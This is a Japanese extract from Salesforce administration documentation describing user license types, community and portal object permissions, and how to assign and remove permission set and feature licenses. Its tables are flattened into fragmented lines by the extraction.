参照、作成、編集
リード

参照、作成、編集参照、作成、編集参照、作成、編集
リストビュー
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従業員アプリケー
ションおよびコミュ

ニティ

パートナーコミュニ
ティ

カスタマーコミュニ
ティプラス

カスタマーコミュニ
ティ

例外が適用されます
6

メモ、添付ファイ
ル、およびファイ
ル

参照、作成、編集
商談

参照、作成、編集、
削除

参照、作成、編集、
削除

参照、作成、編集、削
除

注文7

参照のみ参照のみ参照のみ
価格表

参照のみ参照のみ参照のみ
商品

参照、作成、編集
見積

作成および管理作成および管理作成および管理
レポート8

参照、作成、編集参照、作成、編集参照、作成、編集
サービス予約

参照、作成、編集参照、作成、編集
サービス契約

6 カスタマーコミュニティライセンスの場合、ほとんどのオブジェクトでメモと添付ファイルへのアクセ
ス権がデフォルトで有効になっています。取引先と取引先責任者のこのアクセス権は、組織の作成日に
よって異なります。カスタマーコミュニティライセンスを持つユーザが、取引先および取引先責任者の
メモと添付ファイルにアクセスできない場合は、Salesforce にお問い合わせください。

7 注文が有効になると、注文に対するすべてのオブジェクト権限、および商品と価格表への参照アクセス
権が標準プロファイルに自動的に含まれます。外部ユーザが標準プロファイルに割り当てられており、
これらのオブジェクト権限が外部ユーザに不適切な場合は、そのオブジェクト権限を含まないカスタム
プロファイルを作成することを検討してください。

8 カスタマーコミュニティプラス、従業員アプリケーションおよびコミュニティ、パートナーコミュニ
ティライセンスの場合、レポートを作成および編集するには、ユーザにも「レポートの作成とカスタマ
イズ」、「レポートビルダー」、および「私のレポートを編集」権限が必要です。詳細は、「外部ユー
ザのレポート管理の設定 — レポートの作成と編集」を参照してください。
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従業員アプリケー
ションおよびコミュ

ニティ

パートナーコミュニ
ティ

カスタマーコミュニ
ティプラス

カスタマーコミュニ
ティ

参照、作成、編集、
削除

参照、作成、編集、
削除

参照、作成、編集、
削除

参照のみ
ToDo

参照、作成、編集、
削除

参照、作成、編集参照、作成、編集参照、作成、編集
作業指示

参照、作成、編集、
削除

参照、作成、編集参照、作成、編集参照、作成、編集
作業指示品目

Salesforce の機能およびカスタムオブジェクト

ユーザごとに 20 MB

(ユーザベースライセ
ンス)9

メンバーあたり 5 MB

(メンバーベースライ
センス)

メンバーあたり 1 MB

(ログインベースライ
センス)

メンバーあたり 2 MB

(メンバーベースライ
センス)

メンバーあたり 1 MB

(ログインベースライ
センス)

その他のデータス
トレージ

Chatter (人、グルー
プ、フィード、
ファイル、非公開
メッセージ) 10

参照、アップロー
ド、管理

参照とアップロード参照とアップロード
コンテンツ

ライセンスあたりに
10 個のカスタムオブ

ライセンスあたりに
10 個のカスタムオブ

ライセンスあたりに
10 個のカスタムオブ

ライセンスあたりに
10 個のカスタムオブ

カスタムオブジェ
クト

ジェクト (管理パッジェクト (管理パッジェクト (管理パッジェクト (管理パッ
ケージ内のカスタムケージ内のカスタムケージ内のカスタムケージ内のカスタムオ
オブジェクトは、こオブジェクトは、こオブジェクトは、こブジェクトは、この制
の制限にカウントさ

れません)

の制限にカウントさ
れません)

の制限にカウントさ
れません)

限にカウントされませ
ん)

9 従業員アプリケーションおよびコミュニティライセンスの場合、データストレージ制限はユーザライセ
ンスあたり 20 MB、ファイルストレージ制限はユーザライセンスあたり 2 GB です。

10
Salesforce Files Sync は、コミュニティでは使用できません。
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従業員アプリケー
ションおよびコミュ

ニティ

パートナーコミュニ
ティ

カスタマーコミュニ
ティプラス

カスタマーコミュニ
ティ

代理管理者

参照のみ参照のみ参照のみ参照のみ
ナレッジ

ロールおよび高度
な共有

共有セット

Salesforce1 モバイル
アプリケーション

メールの送信

作成、参照、編集、
削除

トークン

11ワークフロー承認

関連トピック:

ユーザライセンス
認証 Web サイトユーザライセンス
パートナーポータルユーザライセンス
カスタマーポータルユーザライセンス
データストレージとファイルストレージの制限

Database.com ユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition

デフォルト
の使用可能
ライセンス
数

説明ユーザライセンス

Database.com
Edition: 3

Database.comを管理する必要のあるユー
ザ向け、または Database.com コンソー
ルのポイント & クリックによって

Database.comシステム管理
者

11 カスタマーコミュニティライセンス保有者は承認を申請できますが、承認するアクセス権はありませ
ん。
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デフォルトの使用
可能ライセンス数

説明ユーザライセンス

Database.comのスキーマやその他のメタデータを変更
する必要のあるユーザ向けです。

Database.com
Edition: 3

Enterprise Edition、
Unlimited Edition、

Database.comに保存されているデータへのDatabase.com

アクセスが必要なユーザ向けです。
Database.com ユーザ

および
Database.com
Edition: 0

Database.com ユー
ザライセンスを取
得するには、
Database.com にお
問い合わせくださ
い。

Database.com
Edition: 0

Enterprise Edition、
Unlimited Edition、

データへの Database.com アクセスのみが必要で、
Database.com グループ (他のグループには属せない) に
属し、ロールまたはキューに属する必要のないユー
ザ向けです。データへのアクセスは、組織の共有設
定により決定されます。

Database.com Light ユーザ

および
Database.com
Edition: 0

Database.com Light

ユーザライセンス
を取得するには、
Database.com にお
問い合わせくださ
い。

関連トピック:

ユーザライセンス
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Service Cloud ポータルユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Service Cloud ポータルユーザには、大規模カスタマーポータルライセンスがあり
ます。このライセンスでは、Service Cloud ポータルへの無制限のログインを取引
先責任者に与えて、カスタマーサポート情報にアクセスできるようにします。
このライセンスを所有するユーザは、権限の設定に応じて、取引先、納入商品、
ケース、取引先責任者、カスタムオブジェクト、ドキュメント、アイデア、質
問にアクセスできます。
Overage High Volume Customer Portal ライセンスは、ユーザに無制限のログインが許
可されないことを除き、大規模カスタマーポータルライセンスと同じです。組
織で有効化できるカスタマーポータルライセンス数についての詳細は、Salesforce

までお問い合わせください。
この表では、Service Cloud ポータルユーザに割り当てることのできる権限を示します。

削除更新参照作成

取引先

納入商品

ケース

取引先責任者

カスタムオブジェクト

ドキュメント

アイデア

ナレッジ

価格表

商品

質問と回答

解決方法

作業指示

関連トピック:

ユーザライセンス
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サイトおよび Site.com ユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

エディション要件は、
ユーザライセンスの種類
によって異なります。

サイトユーザおよび Site.com ユーザには、ゲストユーザまたは Site.com のみユー
ザライセンスが有効です。

Site.com または Force.com サイトにアクセスする一般ユーザ向けで
す。コミュニティが有効になっている場合、これらのユーザはコ
ミュニティの公開ページにもアクセスできます。サイト訪問者は、
有効な公開サイトで公開された情報にアクセスできます。各ゲス
トユーザライセンスについては、組織用のサイトを 1 つ開発できま
す。
Site.com については、Developer Edition、Enterprise Edition、Unlimited

Edition、およびPerformance Edition のそれぞれに無制限のゲストユー
ザライセンスが付いています。

ゲスト
ユーザ

Force.comサイトについては、Enterprise Edition、Unlimited Edition、お
よび Performance Edition に 25 個のゲストユーザライセンスが付いて
います。Developer Edition には、ゲストユーザライセンスが 1 つ付
いています。

メモ:

• Force.com サイト用のゲストユーザライセンスを追加購入
することはできません。

• 認証 Web サイトの大規模ポータルユーザライセンスは、
Force.com サイト使用するために設計されています。大規
模向けに設計されているため、Force.com サイトで使用す
るための効率的なオプションです。

Site.com にアクセスする必要があるが、標準の CRM 機能にはアクセ
スする必要のない Performance Edition、Unlimited Edition、および

Site.com

のみ
Enterprise Edition のユーザ向けです。Site.com 限定ユーザには、
Force.com One App と同じ権限が割り当てられます。それに加えて、
コンテンツアプリケーションにアクセスできます。ただし、取引
先と取引先責任者オブジェクトへのアクセス権はありません。ユー
ザは無制限にカスタムタブにアクセスできますが、カスタムアプ
リケーションの使用は 1 つに制限され、カスタムオブジェクトは
20 個までに制限されます。
各 Site.com 限定ユーザには、Site.com にアクセスするための Site.com

Contributor または Site.com Publisher 機能ライセンスが必要です。

関連トピック:

ユーザライセンス
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認証 Web サイトユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Platform ポータルユーザには、Force.comサイトで使用するための認証 Web サイト
ライセンスがあります。このライセンスでは、指定のサイトユーザに、プラッ
トフォームポータルへの無制限のログインを許可して、カスタマーサポート情
報にアクセスできるようにします。
Overage Authenticated Website ライセンスは、ユーザに無制限のログインが許可さ
れないことを除き、認証 Web サイトライセンスと同じです。

メモ: 注文が有効になると、注文に対するすべてのオブジェクト権限、お
よび商品と価格表への参照アクセス権が標準プロファイルに自動的に含ま
れます。外部ユーザが標準プロファイルに割り当てられており、これらの
オブジェクト権限が外部ユーザに不適切な場合は、そのオブジェクト権限
を含まないカスタムプロファイルを作成することを検討してください。

この表では、認証 Web サイトユーザに付与できる権限を示します。

削除更新参照作成

契約

ドキュメント

アイデア

ナレッジ

注文

価格表

商品

カスタムオブジェクト

関連トピック:

ユーザライセンス

カスタマーポータルユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマーポータルサイトのユーザにはカスタマーポータルマネージャの標準
ライセンスがあります。

メモ:  Summer '13 から、このライセンスは、カスタマーポータルがすでに存
在する組織でのみ使用できます。カスタマーポータルがない場合に顧客と
簡単に情報を共有するには、「コミュニティユーザライセンス」 (ページ
522)を参照してください。

取引先責任者がカスタマーポータルにログインしてカスタマーサポートを管理
できるようにします。カスタマーポータルマネージャ標準ライセンスを所有す
るユーザを、カスタマーポータルユーザプロファイル、またはカスタマーポー
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タルユーザプロファイルからコピーしてカスタマイズしたプロファイルと関連付けることができます。この標
準プロファイルにより、ユーザは自分が直接所有するデータおよびカスタマーポータルのロール階層で下位に
あるユーザが所有するか共有しているデータの参照と編集が実行できるようになります。また、[取引先責任
者名] 項目に一覧表示されているケースの参照と編集も実行できるようになります。
カスタマーポータルマネージャ標準ライセンスを所有するユーザは、次の操作を実行できます。
• 取引先責任者、価格表、および商品を表示する。
• 取引先とケースを表示および編集する。
• 納入商品を作成および編集する
• カスタムオブジェクトを作成、参照、編集、および削除する。
• 権限に応じて、カスタムオブジェクトにアクセスする。
• 「ポータルスーパーユーザ」権限が与えられる。
• Salesforce CRM Content 機能ライセンスまたは適切な権限を持つ場合に Salesforce CRM Content にアクセスする。
Overage Customer Portal Manager 標準ライセンスは、ユーザのログインが月あたり 1 回に制限されることを除き、
カスタマーポータルマネージャ標準ライセンスと同じです。

メモ: 注文が有効になると、注文に対するすべてのオブジェクト権限、および商品と価格表への参照アク
セス権が標準プロファイルに自動的に含まれます。外部ユーザが標準プロファイルに割り当てられてお
り、これらのオブジェクト権限が外部ユーザに不適切な場合は、そのオブジェクト権限を含まないカス
タムプロファイルを作成することを検討してください。

この表では、カスタマーポータルユーザに付与できる権限を示します。

削除更新参照作成

取引先

納入商品

ケース

取引先責任者

契約

カスタムオブジェクト

ドキュメント

アイデア

ナレッジ

注文

価格表

商品

レポートおよびダッシュボード 1
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削除更新参照作成

ソリューション

質問と回答

メモ:

• 1コミュニティでレポートを作成および編集するには、ユーザに「レポートの作成とカスタマイズ」、
「レポートビルダー」、および「私のレポートを編集」権限も必要です。これらの権限があれば、
ユーザがコミュニティでレポートを作成および編集できますが、ポータルではできません。デフォル
トで、レポートおよびダッシュボードは参照のみです。詳細は、「外部ユーザのレポート管理の設定
— レポートの作成と編集」を参照してください。

関連トピック:

ユーザライセンス

カスタマーポータル — エンタープライズ管理ユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマーポータル — エンタープライズ管理ユーザには、カスタマーポータル
マネージャカスタムライセンスがあります。このライセンスでは、Salesforce カ
スタマーポータルへの無制限のログインを取引先責任者に許可して、カスタマー
サポート情報を管理できるようにします。

メモ:  Summer '13 から、このライセンスは、カスタマーポータルがすでに存
在する組織でのみ使用できます。カスタマーポータルがない場合に顧客と
簡単に情報を共有するには、「コミュニティユーザライセンス」 (ページ
522)を参照してください。

カスタマーポータルマネージャカスタムライセンスを所有するユーザは、カス
タマーポータルユーザプロファイルまたはカスタマーポータルユーザプロファ
イルからコピーしカスタマイズしたプロファイルと関連付けることができます。これにより、ユーザは自分が
直接所有するデータの参照と編集、および [取引先責任者名] 項目に一覧表示されているケースの参照、作成
および編集ができるようになります。
また、このライセンスを持つユーザは次の操作を実行できます。
• 取引先、納入商品、およびケースを作成、参照、または更新する。
• 取引先責任者を参照する。
• 権限に応じて、カスタムオブジェクトを表示してレポートを実行する。
• 「ポータルスーパーユーザ」および「外部ユーザの代理管理者」権限が与えられる。
• Salesforce CRM Content 機能ライセンスまたは適切な権限を持つ場合に Salesforce CRM Content にアクセスする。
Overage Customer Portal Managerカスタムライセンスは、ユーザに無制限のログインが許可されないことを除き、
カスタマーポータルマネージャカスタムライセンスと同じです。組織で有効化できるカスタマーポータルライ
センス数についての詳細は、Salesforce までお問い合わせください。
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メモ: 注文が有効になると、注文に対するすべてのオブジェクト権限、および商品と価格表への参照アク
セス権が標準プロファイルに自動的に含まれます。外部ユーザが標準プロファイルに割り当てられてお
り、これらのオブジェクト権限が外部ユーザに不適切な場合は、そのオブジェクト権限を含まないカス
タムプロファイルを作成することを検討してください。

この表では、カスタマーポータル (エンタープライズ管理ユーザ) に許可できる権限を示します。

削除更新参照作成

取引先

納入商品

ケース

取引先責任者

契約

カスタムオブジェクト

ドキュメント

アイデア

ナレッジ

注文

価格表

商品

レポートおよびダッシュボード 1

解決方法

質問と回答

メモ:

• 1コミュニティでレポートを作成および編集するには、ユーザに「レポートの作成とカスタマイズ」、
「レポートビルダー」、および「私のレポートを編集」権限も必要です。これらの権限があれば、
ユーザがコミュニティでレポートを作成および編集できますが、ポータルではできません。デフォル
トで、レポートおよびダッシュボードは参照のみです。詳細は、「外部ユーザのレポート管理の設定
— レポートの作成と編集」を参照してください。

関連トピック:

ユーザライセンス
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パートナーポータルユーザライセンス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルユーザには、Gold Partner ユーザライセンスがあります。これ
らのライセンスでは、パートナーポータルを使って、Salesforce のみにアクセス
できます。

メモ:

• Summer '13 以降、パートナーポータルを現在使用していない組織は、こ
のライセンスを使用できません。パートナーポータルがない場合にパー
トナーと簡単に情報を共有するには、「コミュニティユーザライセン
ス」 (ページ 522)を参照してください。

• 注文が有効になると、注文に対するすべてのオブジェクト権限、および
商品と価格表への参照アクセス権が標準プロファイルに自動的に含まれ
ます。外部ユーザが標準プロファイルに割り当てられており、これらの
オブジェクト権限が外部ユーザに不適切な場合は、そのオブジェクト権
限を含まないカスタムプロファイルを作成することを検討してくださ
い。

この表では、パートナーポータルユーザに付与できる権限を示します。

削除更新参照作成

取引先

承認

納入商品

キャンペーン1

ケース

取引先責任者

契約

カスタムオブジェクト

ドキュメント

アイデア

ナレッジ

リード

商談

注文

価格表

商品
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削除更新参照作成

レポートおよびダッシュボード 2

解決方法

質問と回答

メモ:

• 1 パートナーポータルユーザは、コミュニティでキャンペーンを作成および編集できますが、従来の
ポータルではできません。パートナーコミュニティライセンスの場合、ユーザインターフェースで
キャンペーンを参照、作成、編集するには、パートナーユーザにも「マーケティングユーザ」権限が
必要です。この権限を持つパートナーユーザは、キャンペーンメンバーとしての取引先責任者または
リードの検索と追加、キャンペーンのレポートへのアクセス、キャンペーンの取引先責任者および
リードへの一括メール送信と一括割り当てを行うことができます。

• 2コミュニティでレポートを作成および編集するには、ユーザに「レポートの作成とカスタマイズ」、
「レポートビルダー」、および「私のレポートを編集」権限も必要です。これらの権限があれば、
ユーザがコミュニティでレポートを作成および編集できますが、ポータルではできません。デフォル
トで、レポートおよびダッシュボードは参照のみです。詳細は、「外部ユーザのレポート管理の設定
— レポートの作成と編集」を参照してください。

関連トピック:

ユーザライセンス

権限セットライセンス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できる各権限セット
ライセンスは、権限セッ
トおよび関連機能のエ
ディション要件によって
異なります。

権限セットは、さまざまなツールや機能を使用するための特定の設定や権限を
ユーザに割り当てる便利な方法です。権限セットライセンスは、ユーザライセ
ンスに含まれていない機能へのアクセス権をユーザに部分的に付与します。ユー
ザには、権限セットライセンスをいくつでも割り当てることができます。

権限セットライセンスとは?

権限セットライセンスは、ユーザライセンスに含まれていない機能へのアク
セス権をユーザに部分的に付与します。ユーザには、権限セットライセンス
をいくつでも割り当てることができます。
機能の権限セットライセンスと権限セットの割り当て
次の手順に従うと、権限セットライセンスで利用可能な権限にアクセスする
必要があるユーザ用に権限セットを簡単に設定できます。
Salesforce 組織の権限セットライセンスの参照
組織が購入した権限セットライセンスを参照して、ユーザに割り当てることができるものを確認します。
ユーザへの権限セットライセンスの割り当て
ユーザに権限を割り当てる前に権限セットライセンスを割り当てる必要がある場合があります。
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ユーザの権限セットライセンスの削除
最初に、ライセンスを必要とする割り当て済みの関連権限セットを削除し、続いて、割り当て済みの権限
セットライセンスを削除します。

関連トピック:

Salesforce での会社の設定

権限セットライセンスとは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できる各権限セット
ライセンスは、権限セッ
トおよび関連機能のエ
ディション要件によって
異なります。

権限セットライセンスは、ユーザライセンスに含まれていない機能へのアクセ
ス権をユーザに部分的に付与します。ユーザには、権限セットライセンスをい
くつでも割り当てることができます。

ヒント: 権限セットと権限セットライセンスは目的が異なります。次の説
明を読むことで、将来起こり得る問題を回避できます。
• 権限セットライセンスは、ユーザライセンスの機能を拡張します。権限

セットライセンスにより、ユーザライセンスでサポートされる数よりも
多くの権限をユーザに割り当てることができます。

• 権限セットには、ユーザに権限を付与する設定が含まれます。権限セッ
トは、ユーザのプロファイルを変更せずにユーザの機能アクセス権を拡
張します。

特定の機能の権限セットライセンス用に権限セットを作成できます。権限セット内で、選択した権限セットラ
イセンスの権限を有効にしてください。このようにすると、その権限セットに割り当てられたユーザには、選
択した権限セットに含まれる機能が許可されます。
単一のユーザまたは権限セットライセンスに固有ではない権限セットも作成できます。最初に、必要な権限
セットライセンスにユーザを割り当てます。次に、作成した権限セットにその権限セットライセンスを割り当
て、必要な権限を有効にします。

メモ: 権限セットに必要となるライセンスがユーザにあるかどうかは、Salesforceによって検証されます。
たとえば、ある権限セットにユーザを割り当てるとします。この場合、ユーザに必要なユーザ権限がな
いと、割り当てエラーが発生します。

権限セットと権限セットライセンスのさまざまな組み合わせがユーザに与える影響の例について、次の表を確
認してください。権限セットライセンスによって支持されている多くの機能では、その権限の権限セットを作
成することが必要となりますが、すべてで必要となるわけではありません。セールスコンソール権限セットラ
イセンスでは、作成済みの権限セットが付属しています。

結果操作内容使用事例

その権限セットに割り当てられた
ユーザには、Identity Connect 権限が
付与されます。

Identity Connect など、単一の権限
セットライセンスによって裏付け
られる権限を権限セットに関連付
ける。

1. 権限セットを作成します。ライ
センスドロップダウンメニュー
から、[Identity Connect]を選択し
ます。
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結果操作内容使用事例

2. 権限セット設定ページには、
Identity Connect 権限セットライセ
ンスで使用できる設定のみが表
示されます。[Identity Connect を
使用] を有効にします。

その権限セットに割り当てられた
ユーザには、Identity Connect、Voice

複数の権限セットライセンスによっ
て裏付けられる権限を権限セット

1. Identity Connect、Voice Inbound

User、Voice Outbound User の各権
と関連付ける。たとえば、作成す Inbound Calls、Voice Outbound Calls の

権限が付与されます。
限セットライセンスを、それを
必要とするユーザに割り当てま
す。

る単一の権限セットに、次の権限
セットライセンスを関連付けるこ
とができる。

2. 権限セットを作成します。ライ
センスドロップダウンメニュー
から、[--なし--] を選択します。

• Identity Connect

• Voice Inbound User

• Voice Outbound User 3. 権限セットで次の権限を有効に
します。
• Identity Connect を使用
• 音声インバウンドコールにア

クセス
• 音声アウトバウンドコールに

アクセス

その権限セットに割り当てられた
ユーザには、Identity Connect および

権限セットライセンスによって裏
付けられる権限を関連付けて、そ

1. Identity Connect 権限セットライセ
ンスを、それを必要としている
ユーザに割り当てます。の他のユーザ権限も組み込む。た

とえば、Identity Connect 権限セット
Lightning Experience ユーザの権限が付
与されます。

2. 権限セットを作成します。ライ
センスドロップダウンメニュー
から、[--なし--] を選択します。

ライセンスによって裏付けられる
権限を含めて権限セットを作成し、
Lightning Experience ユーザ権限も組み
込むことができる。 3. 権限セットで次の権限を有効に

します。
• Identity Connect を使用
• Lightning Experience ユーザ

関連トピック:

権限セットライセンス
ユーザライセンス
権限セットの作成
権限セットでのアプリケーションおよびシステムの設定
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機能の権限セットライセンスと権限セットの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットライセンスを
割り当てる
• 「ユーザの管理」

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

次の手順に従うと、権限セットライセンスで利用可能な権限にアクセスする必
要があるユーザ用に権限セットを簡単に設定できます。
特定の権限セットライセンス関連機能の特別な指示に従ってください。権限セッ
トライセンスに関連付けられている権限セットを管理パッケージに追加するこ
とはできません。

メモ: Sales Console ユーザなど、標準ミッションセットに付属のライセンス
を購入した場合、権限セットは自動的に生成されるため、この手順をスキッ
プできます。

1. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報]

を選択して権限セットライセンスまでスクロールダウンします。
使用可能な権限セットライセンスがいくつあり、いくつがすでに割り当てら
れているかを確認できます。別々の機能用に、何種類の権限セットライセン
スがあるかも確認できます。

2. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] を選択します。

3. [新規] をクリックします。
4. 権限セット情報を入力します。
5. [ライセンス] ドロップダウンオプションを使用して、この権限セットに関連

付ける権限セットライセンスを選択します。
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特定の権限セットライセンスを選択すると、権限セットに割り当てられているユーザには、権限セットラ
イセンスが自動的に割り当てられます。デフォルトの [なし] にした場合は、権限セットライセンスをユー
ザに手動で割り当ててから、ユーザを新しい権限セットに追加する必要があります。

6. 権限セットで有効にする機能権限を選択します。[設定の検索...] を使用するとすばやく検索できます。
機能のドキュメントを参照し、特定の権限セットライセンスでどの権限が使用可能であるかを確認してく
ださい。

例: たとえば、Identity Connect 権限セットライセンスを購入したとします。Identity Connect 権限セットライ
センスには、Active Directory インテグレーションの提供など、Identity Connect 製品の機能へのアクセスを許
可する権限が含まれています。この権限へのアクセスをユーザに許可するには、次のように操作します。
• ユーザに Identity Connect 権限セットライセンスがあることを確認します。作成する権限セットの関連権

限セットライセンスがユーザにない場合、ユーザはその権限セットを使用できません。どの権限セッ
トライセンスがユーザにあるかは、ユーザの詳細ページの [権限セットライセンスの割り当て] セクショ
ンを表示して確認できます。

• 権限セットを作成して「Identity Connect 権限」というような名前を付け、[ライセンス] ドロップダウン
オプションから [Identity Connect]を選択します。権限セットが表示されているときに [設定の検索...]

に移動し、[Identity Connect] を検索して [Identity Connect を使用] システム権限を選択します。
• ユーザを権限セットに割り当てます。

Salesforce 組織の権限セットライセンスの参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットライセンスを
参照する
• 「設定・定義を参照す

る」

組織が購入した権限セットライセンスを参照して、ユーザに割り当てることが
できるものを確認します。

段階的な手順: 権限セットライセンスと割り当てを表示する
1. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報]

を選択します。
2. [権限セットライセンス] 関連リストを参照します。
権限セットライセンスの購入については、Salesforceまでお問い合わせください。

関連トピック:

権限セットライセンス
ユーザへの権限セットライセンスの割り当て
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ユーザへの権限セットライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットライセンスを
割り当てる
• 「ユーザの管理」

ユーザに権限を割り当てる前に権限セットライセンスを割り当てる必要がある
場合があります。

ヒント: 始める前に、権限セットライセンスが権限セットにすでに関連付
けられていることを確認してください。関連付けられている場合は、ユー
ザを単にその権限セットに割り当てるだけで済み時間が節約できます。関
連付けられていない場合は、権限セットライセンスをユーザに割り当て、
権限セットライセンスの機能へのアクセス権を付与する必要がある場合が
あります。

1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択します。

2. 権限セットライセンスを割り当てるユーザの名前をクリックします。
3. [権限セットライセンスの割り当て] 関連リストで、[割り当ての編集]をクリッ

クします。
4. 割り当てる権限セットライセンスを選択します。
権限セットに関連する権限を追加してから、その権限セットをユーザに割り当
てます。

メモ: 「CRM ユーザ」、「営業ユーザ」、または「サービスユーザ」権限セットライセンスを割り当てた
場合、その後の権限セットの割り当ては必要ありません。

関連トピック:

権限セットライセンス
ユーザの権限セットライセンスの削除
権限セット
1 人のユーザへの権限セットの割り当て
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ユーザの権限セットライセンスの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットライセンスを
削除する
• 「ユーザの管理」

最初に、ライセンスを必要とする割り当て済みの関連権限セットを削除し、続
いて、割り当て済みの権限セットライセンスを削除します。
1. 削除する権限セットライセンスを必要とする権限を特定します。
2. その権限が権限セットを介してユーザに割り当てられていないことを確認し

ます。これは、次のいずれかの方法で実行できます。
• ユーザに割り当て済みの権限セットから権限を削除する
• ユーザの割り当て済みの権限セットから権限セットを削除する

3. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択します。

4. 権限セットライセンスを削除するユーザの名前をクリックします。
5. [権限セットライセンスの割り当て] 関連リストで、削除する権限セットライ

センスの横にある [削除] をクリックして [OK] をクリックします。

関連トピック:

権限セットライセンス
Salesforce 組織の権限セットライセンスの参照
ユーザへの権限セットライセンスの割り当て

機能ライセンスの概要

エディション

使用可能なエディション:
Salesforce Classic

エディション要件は、機
能ライセンスによって異
なります。

機能ライセンスでは、Marketing や Work.com など、ユーザライセンスに含まれて
いない追加機能へのアクセス権がユーザに付与されます。ユーザには、機能ラ
イセンスをいくつでも割り当てることができます。
• 組織で有効になっている機能ライセンスを表示する
• ユーザが機能を使用できるようにする
• Salesforce で現在使用できるすべての機能ライセンスを表示する
組織で有効になっている機能に応じて、複数の種類の機能ライセンスをユーザ
に割り当てることができます。

組織の機能ライセンスの参照
組織が購入した機能ライセンスを参照して、ユーザに割り当てることができるものを確認します。
ユーザに対する機能ライセンスの有効化
ユーザの作成または編集時に、組織でユーザの機能を有効にすることができます。
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使用可能な機能ライセンス
ユーザに追加の機能ライセンスを 1 つ以上割り当てれば、ユーザがそのユーザライセンスには含まれてい
ない機能にアクセスできます。

関連トピック:

ユーザの表示および管理
Salesforce での会社の設定

組織の機能ライセンスの参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

機能ライセンスを参照す
る
• 「設定・定義を参照す

る」

組織が購入した機能ライセンスを参照して、ユーザに割り当てることができる
ものを確認します。
1. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報]

を選択します。
2. [機能ライセンス] 関連リストを参照してください。
機能ライセンスの購入については、Salesforce までお問い合わせください。

関連トピック:

機能ライセンスの概要
使用可能な機能ライセンス
ユーザに対する機能ライセンスの有効化
ユーザの表示および管理
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ユーザに対する機能ライセンスの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

機能ライセンスを有効に
する
• 「内部ユーザの管理」

ユーザの作成または編集時に、組織でユーザの機能を有効にすることができま
す。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザリストビューで、ユーザの名前をクリックします。
3. [ユーザの詳細] ページで、有効にするユーザの機能ライセンスの横にある

チェックボックスをオンにします。
1 人のユーザに対して複数の機能ライセンスを有効にできます。

4. [保存]をクリックします。

関連トピック:

ユーザの編集
1 人のユーザの追加
機能ライセンスの概要
使用可能な機能ライセンス
組織の機能ライセンスの参照

使用可能な機能ライセンス

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザに追加の機能ライセンスを 1 つ以上割り当てれば、ユーザがそのユーザ
ライセンスには含まれていない機能にアクセスできます。

ユーザが実行できる操作機能ライセンス

Chatter アンサーにアクセスする。この
機能ライセンスは、Chatter アンサーに
セルフ登録した大規模ポータルユーザ
に自動的に割り当てられます。

Chatter Answers ユーザ

フローを実行する。Force.com Flow ユーザ

Salesforce ナレッジにアクセスする。ナレッジユーザ

Live Agent にアクセスする。Live Agent ユーザ

キャンペーンの作成、編集、および削
除、高度なキャンペーンの設定、およ

マーケティングユーザ

びデータインポートウィザードによる
キャンペーンメンバーの追加とその状
況の更新を行う。

Salesforce Classic Mobileにアクセスする。モバイルユーザ

Connect Offline にアクセスする。オフラインユーザ
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ユーザが実行できる操作機能ライセンス

Salesforce CRM Content にアクセスする。Salesforce CRM Content ユーザ

Salesforce Console for Service にアクセスする。Service Cloud ユーザ

メモ: Salesforce Console for Sales にアクセスするに
は、「セールスコンソールユーザ」権限セットラ
イセンスが必要です。

Site.com Studio でサイトコンテンツを編集する。Site.com Contributor ユーザ

Site.com Studio で Web サイトを作成してスタイルを設定
し、ページやページ要素のレイアウトと機能を制御
し、コンテンツを追加して編集する。

Site.com Publisher ユーザ

Work.com のオブジェクトおよび権限にアクセスする。Work.com ユーザ

関連トピック:

組織の機能ライセンスの参照
ユーザに対する機能ライセンスの有効化
ユーザの表示および管理
機能ライセンスの概要

